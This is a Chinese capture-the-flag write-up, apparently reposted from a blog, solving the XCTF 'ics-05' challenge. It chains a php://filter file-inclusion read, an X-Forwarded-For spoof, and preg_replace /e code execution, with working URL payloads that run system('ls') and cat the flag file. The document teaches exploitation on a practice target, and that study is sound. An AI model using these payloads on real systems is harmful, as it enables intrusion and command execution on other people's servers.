zoukankan      html  css  js  c++  java
  • XCTF-ics-05(文件包含+preg_replace函数/e修正符下的代码执行漏洞)

    记一道preg_replace函数/e模式下的代码执行漏洞利用的题。
    只有设备维护中心页面可以进入,页面没有什么可点击的,查看源代码,发现这里有个参数。

    拼接到url,页面显示index,拼接/etc/passwd。

    那么存在文件包含漏洞无疑。通过这个漏洞我们可以结合php伪协议读取到index.php的内容。

    ?page=php://filter/read=convert.base64-encode/resource=index.php
    

    base64解密拿到源码。

    <?php
    }}
    //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
    if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
        echo "<br >Welcome My Admin ! <br >";
        $pattern = $_GET[pat];
        $replacement = $_GET[rep];
        $subject = $_GET[sub];
        if (isset($pattern) && isset($replacement) && isset($subject)) {
            preg_replace($pattern, $replacement, $subject);
        }else{
            die();
        }
    }
    ?>
    

    1、这里需要IP欺骗加一个x-forwarded-for:127.0.0.1。
    2、需要存在三个Get参数pat,rep,sub。然后preg_replace函数进行正则匹配。
    了解一下这个函数

    preg_replace 函数执行一个正则表达式的搜索和替换。
        语法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] 
        参数:$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
            $replacement: 用于替换的字符串或字符串数组。
            $subject: 要搜索替换的目标字符串或字符串数组。
            $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
            $count: 可选,为替换执行的次数。
    

    其实就是搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
    再看/e 修正符用在函数 preg_replace() 时,会将 replacement 参数当作 PHP 代码从而导致代码执行。
    构造payload:

    /index.php?pat=/1/e&rep=system("ls");&sub=1
    /index.php?pat=/1/e&rep=system("ls+s3chahahaDir");&sub=1
    /index.php?pat=/1/e&rep=system("ls+s3chahahaDir/flag");&sub=1
    /index.php?pat=/1/e&rep=system("cat+s3chahahaDir/flag/flag.php");&sub=1
    

    参考链接:
    https://virtua11.github.io/2018/07/06/代码执行漏洞--preg_replace()/

  • 相关阅读:
    瀑布流事件
    js 面向对象 模拟日历
    leetcode 戳气球
    leetcode 地下城游戏
    laravel服务容器
    lru缓存策略
    php实现7种常见排序
    curl请求中http头的几种格式
    wireshark过滤规则(两年前记录在qq空间的日志)
    screen和nohub及&用法
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/13182192.html
Copyright © 2011-2022 走看看